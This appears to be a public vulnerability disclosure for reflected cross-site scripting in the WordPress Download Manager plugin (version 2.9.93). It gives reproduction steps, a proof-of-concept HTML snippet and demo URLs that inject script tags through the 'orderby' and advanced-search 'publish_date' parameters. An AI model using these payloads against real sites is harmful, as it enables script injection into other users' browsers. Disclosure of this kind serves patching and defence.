* Exploit Title: WordPress Download Manager Cross-site Scripting * Discovery Date: 2019-04-13 * Exploit Author: ThuraMoeMyint * Author Link: https://twitter.com/mgthuramoemyint * Vendor Homepage: https://www.wpdownloadmanager.com * Software Link: https://wordpress.org/plugins/download-manager * Version: 2.9.93 * Category: WebApps, WordPress Description -- In the pro features of the WordPress download manager plugin, there is a Category Short-code feature witch can use to sort categories with order by a function which will be used as ?orderby=title,publish_date . By adding parameter "> and add any XSS payload , the xss payload will execute. To reproduce, 1.Go to the link where we can find ?orderby 2.Add parameters >” and give simple payload like <script>alert(1)</script> 3.The payload will execute. -- PoC -- <div class="btn-group btn-group-sm pull-right"><button type="button" class="btn btn-primary" disabled="disabled">Order &nbsp;</button><a class="btn btn-primary" href="https://demo.com/wpdmpro/category-short-code/?orderby=publish_date\"><script>alert(11)</script>&order=asc">Asc</a><a class="btn btn-primary" href="https://demo..com/wpdmpro/category-short-code/?orderby=publish_date\"><script>alert(11)</script>&order=desc">Desc</a></div> -- Demo -- https://demo.wpdownloadmanager.com/wpdmpro/list-packages/?orderby=title%22%3E%3Cscript%3Ealert(1)%3C/script%3E&order=asc -- Another reflected cross-site scripting via advance search https://demo.wpdownloadmanager.com/wpdmpro/advanced-search/ https://demo.wpdownloadmanager.com/wpdmpro/advanced-search/?search[publish_date]=2019-04-17+to+2019-04-17%22%3E%3Cscript%3Ealert(1)%3C/script%3E&search[update_date]=&search[view_count]=&search[download_count]=&search[package_size]=&search[order_by]=&search[order]=ASC&q=a